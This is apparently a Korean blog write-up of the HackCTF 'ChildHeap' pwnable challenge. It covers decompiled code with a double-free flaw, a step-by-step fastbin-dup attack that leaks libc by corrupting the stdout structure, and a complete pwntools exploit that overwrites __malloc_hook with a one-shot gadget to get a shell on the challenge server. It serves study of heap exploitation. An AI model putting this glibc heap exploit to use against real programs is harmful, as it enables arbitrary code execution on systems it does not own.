tmxklab
[HackCTF/Pwnable] ChildHeap 본문
stdout을 이용한 libc주소 leak & fastbin dup
1. 문제
nc ctf.j0n9hyun.xyz 3033
1) mitigation 확인
2) 문제 확인
3) 코드 흐름 확인
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
Init();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = input_number(argc, argv);
if ( v3 != 1 )
break;
Malloc();
}
if ( v3 != 2 )
exit(0);
Free();
}
}
3-2) Malloc()
unsigned __int64 Malloc()
{
int v0; // ebx
int v2; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 0 || v2 > 4 )
exit(1);
printf("size: ");
__isoc99_scanf("%d", &v3);
if ( v3 < 0 || v3 > 128 )
exit(1);
v0 = v2;
ptr[v0] = malloc(v3);
if ( !ptr[v2] )
exit(1);
printf("content: ");
read(0, ptr[v2], v3);
return __readfsqword(0x28u) ^ v4;
}
- ptr index값을 지정하고 size값만큼 malloc한 다음 read함수로 해당 인덱스에 size만큼 입력 값을 받음
- index값의 범위 : 0 ≤ index < 5 → ptr index
- size값의 범위 : 0 ≤ size < 129 → malloc size
3-3) Free()
unsigned __int64 Free()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 4 )
exit(1);
free(ptr[v1]);
return __readfsqword(0x28u) ^ v2;
}
- 해당 ptr인덱스 값을 선택하여 free한다.
- Free시켜도 ptr에 Free Chunk Address 남아 있음
- Free된 청크에 대한 검증이 없음 → DFB취약점
전역 변수)
- ptr : 0x6020c0
2. 접근방법
먼저, DFB취약점이 있는 것을 발견하였고 fastbin dup를 사용하면 원하는 공간에 값을 작성할 수 있다. 하지만 로직은 단순히 Malloc과 Free 두 가지만 존재하고 입력 값을 받아서 출력해주는 부분이 없어 libc주소를 leak하기가 어렵다.
여기서 롸업을 보면서 했는데 stdout leak과 fastbin dup를 이용하여 문제를 풀었다. (stdout의 이용하여 leak하는 것은 따로 정리하여 올리도록 하겠다.)
2.1 공격 프로세스
1) malloc(128) → free하여 unsorted bin을 만든다.
- 목적 : fd와 bk에 main_arena+88주소 넣기 위해
2) malloc(0x60)을 하여 unsorted bin에서 청크를 떼어온다.
- 목적 : fastbin dup에 사용하기 위해 fastbin크기만큼 malloc
2-1) malloc(0x60)할 때 fd에 존재하는 main_arena+88의 주소에서 하위 2bytes를 0x75dd로 변경한다.
→ 해당 주소는 stdout에 가까운 fake chunk주소
- 목적 : fastbin dup을 할 때 stdout의 주소에 값을 쓰기 위해서
- 참고로 하위 1.5bytes(0x?5dd)만 고정되어 있고 물음표에는 고정되어 있지 않으므로 아무 값이나 써준다. → 1/16의 확률로 맞출 수 있음
3) fastbin dup를 사용하여 stdout주소에 값을 쓸 수 있도록 한다.
- 참고 : stdout에 가까운 fake chunk에 값을 작성하므로 stdout나오기 전에는 더미 값을 넣고 stdout주소부터는 "0xfbad1800" + "\x00" * 25를 넣는다. (여기서 0x????1800을 넣는 것이 중요하다.→ 플래그 값임)
4) puts()가 실행되면서 stdout, stdin등.. leak되는 것을 확인할 수 있다.
- 목적 : leak을 통해 libc base주소를 구하여 __malloc_hook주소와 원샷 가젯의 주소를 구한다.
5) fastbin dup를 사용하여 __malloc_hook에 원샷 가젯의 주소를 넣는다.
6) malloc을 한 번 실행하여 원샷 가젯을 실행
크게 총 6가지 프로세스로 나눴는데 디버깅을 하면서 자세히 확인해보자
(주소 값이 달라지는 부분이 있음 조심)
2.2 디버깅
0) fake chunk 찾기
- 아까 하위 2bytes를 0x75dd로 하는 이유가 fastbin dup를 할 때 chunk구조에 맞는 주소 값이 0x?5dd이기 때문이다.(지금은 하위 2bytes가 0x25dd로 되어있따...ㅠㅠ)
- main_arena의 주소에서 하위 2bytes만 변경하면 되기 때문에 unsorted bin의 fd에 있는 main_arena+88을 이용할 것이다.
- 추가로, 이따가 fakechunk에 값을 쓸 수 있을 때 stdout전에는 더미 값을(0x33)을 작성하고 stdout에 0xfbad1800 + "\x00" * 25를 작성한다.
1) malloc(128) → free하여 unsorted bin을 만든다.
1-1) free될 때 Top Chunk와 합쳐지는 것을 방지하기 위해 청크 몇 개 생성
- 가운데 빼고 나머지 2개는 fastbin에 들어감
1-2) 가운데 청크를 free하여 unsorted bin에 들어가게 한다.
- fd, bk에 main_arena+88의 주소 값이 보인다.
2) malloc(0x60)을 하여 unsorted bin에서 청크를 떼어온다.
2-1) malloc(0x60)할 때 fd에 존재하는 main_arena+88의 주소에서 하위 2bytes를 0x75dd로 변경한다.
- 기존에 unsorted bin에 들어있는 free chunk size가 0x90에서 0x70만큼만 할당되고 나머지 0x20은 그대로 free chunk로 남게 된다.
- 떼어오면서 fd에 하위 2bytes를 0x75dd로 변경되었다.
3) fastbin dup를 사용하여 stdout주소에 값을 쓸 수 있도록 한다.
3-1) 3번 free하여 fastbin dup구조를 만들어준다.
- ex) free(0) → free(1) → free(0)
- 위 구조에서 free chunk와 동일한 사이즈를 malloc하게 되면 0x2558170청크를 먼저 재할당하는데 사용된다.
- fd값이 변경된 청크의 주소는 0x2558070이고, 제일 먼저 재할당 되는데 사용되는 청크인 0x2558170의 fd값은 0x2558000이다.
- 따라서, 동일한 사이즈의 청크를 malloc할 때 fd값에 하위 1byte를 0x70으로 변경해준다.
3-2) malloc(0x60) + 하위 1byte 0x70으로 변경
- malloc하여 하위 1byte를 0x70으로 변경되면서 0x2558170의 fd가 0x2558070을 가리키고
- 0x2558070의 fd에는 fake chunk의 주소가 담기는 구조가 된다.
3-3) malloc(0x60) * 3
- free chunk 3개를 재할당해주는데 사용하여 fastbin[5]에는 fake chunk만 남게 된다.
- 이후에 malloc(0x60)을 하면 fake chunk를 재할당하는데 사용되면서 stdout에 값을 쓸 수 있게 된다.
- 해당 fake chunk의 위치는 stdout으로부터 0x33만큼 떨어져 있으므로 더미 값 0x33bytes를 작성하고 stdout에는 0xfbad1800 + "\x00" * 25를 작성한다.
4) puts()가 실행되면서 stdout, stdin등.. leak되는 것을 확인할 수 있다.
- leak된 주소 중에 아무거나 이용하여 libc base주소를 구하고 oneshot가젯과 malloc_hook 주소를 구한다.
5) fastbin dup를 사용하여 __malloc_hook에 원샷 가젯의 주소를 넣는다.
5-1) fake chunk 확인
- malloc_hook으로부터 0x23 떨어진 곳에 적절한 fake chunk가 존재
- ? 근데 생각해보니깐 0x13떨어진 곳도 될 것같은데? → 확인 결과 됨
5-2) 3번 free하여 fastbin dup구조를 만들어준다.
- ex) free(0) → free(1) → free(0)
5-3) malloc(0x60) + fd에 fake chunk주소 작성
- 위 상태에서 malloc(0x60)을 2번하게 되면 fastbin[5]에는 fake chunk주소만 남게된다.
- 이후에 mallc(0x60)을 하고 malloc_hook에 원샷 가젯을 작성할 수 있도록 더미 값 0x13bytes를 작성하고 malloc_hook주소에는 원샷 가젯을 넣는다.
5-4) malloc_hook → oneshot gadget
- malloc_hook에 성공적으로 원샷 가젯이 들어갔다.
6) malloc을 한 번 실행하여 원샷 가젯을 실행
?
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
def Malloc(idx, size, content):
p.sendlineafter("> ", str(1))
p.sendlineafter("index: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", str(content))
def Free(idx):
p.sendlineafter("> ", str(2))
p.sendlineafter("index: ", str(idx))
while(1):
#p = process("./childheap")
p = remote("ctf.j0n9hyun.xyz", 3033)
e = ELF("./childheap")
libc = e.libc
stdout_offset = libc.symbols['_IO_2_1_stdout_']
malloc_hook_offset = libc.symbols['__malloc_hook']
#gdb.attach(p)
#oneshot_offset = 0x45216
#oneshot_offset = 0x4526a
#oneshot_offset = 0xf02a4
oneshot_offset = 0xf1147
# 1. create 3 chunk
Malloc(0, 0x60, "A"*8)
Malloc(1, 0x80, "B"*8)
Malloc(2, 0x60, "C"*8)
# 1.1 create unsorted bin
Free(1)
# 1.2 modify fd(main_arena+88)
Malloc(1, 0x60, p16(0x75dd))
Malloc(3, 0x60, "C"*8)
# 2. DFB -> fastbin dup
Free(3)
Free(0)
Free(3)
Malloc(0, 0x60, p8(0x70))
Malloc(1, 0x60, "A"*8)
Malloc(2, 0x60, "B"*8)
Malloc(3, 0x60, "C"*8)
# 2.1 modify stdout
try:
payload = p64(0xfbad1800)
payload += "\x00"*25
Malloc(4, 0x60, "A"*3 + p64(0)*6 + payload)
#gdb.attach(p, "code\nb *0xa09+$code\n")
pause()
except:
p.close()
continue
# 2.2 leak stdout & stdin
p.recv(0x40)
libc_base = u64(p.recv(6).ljust(8, "\x00")) + 0x20 - stdout_offset
oneshot_addr = libc_base + oneshot_offset
malloc_hook_addr = libc_base + malloc_hook_offset
log.info("libc_base : " + hex(libc_base))
log.info("oneshot_addr : " + hex(oneshot_addr))
log.info("malloc_hook_addr : " + hex(malloc_hook_addr))
# 3. DFB -> fastbin dup
Malloc(0, 0x60, "A"*8)
Malloc(1, 0x60, "B"*8)
Free(0)
Free(1)
Free(0)
# 3.1 overwrite __malloc_hook -> oneshot
#Malloc(0, 0x60, p64(malloc_hook_addr-0x23))
Malloc(0, 0x60, p64(malloc_hook_addr-0x13))
Malloc(1, 0x60, "A"*8)
Malloc(2, 0x60, "B"*8)
#Malloc(3, 0x60, "C"*0x13+p64(oneshot_addr))
Malloc(3, 0x60, "C"*0x3+p64(oneshot_addr))
#
p.sendlineafter("> ", str(1))
p.sendlineafter("index: ", str(2))
p.sendlineafter("size: ", str(30))
p.interactive()
원샷가젯 4개중에 저거 한 개만 사용가능함
2) 실행결과
4. 몰랐던 개념
1) stdout을 이용하여 libc 주소 leak
처음 알게 된 사실이라 그런지 진짜 신기했다... 따로 한 번 정리해야 될 것 같다.
참고 :
다른 롸업에서 unsorted bin을 만들기 위해 fastbin dup을 이용하여 prev_size값을 변경하고 free하여 unsorted bin을 만드는 과정이 있어서 처음에는 그렇게 따라 했다.
근데 예전에 bin을 공부하면서 fastbin이 fastbin[6](size : 0x80)까지만 사용되는 것을 알고 있는데.... 여기서 malloc(0x80)을 하면 size가 fastbin[6]을 넘어가므로 unsorted bin으로 들어가는 것을 보고 그냥 바로 unsorted bin으로 만들어서 사용하였다.
근데 진짜 나중에 unsorted bin을 만들 수 없는 상황에서 진짜 참신하고 유용한 방법인 것 같다.
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] wishilist (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] Unexploitable #3 (0) | 2020.08.15 |
[HackCTF/Pwnable] babyfsb (0) | 2020.08.15 |
[HackCTF/Pwnable] j0n9hyun's secret (0) | 2020.08.15 |
[HackCTF/Pwnable] babyheap (0) | 2020.08.15 |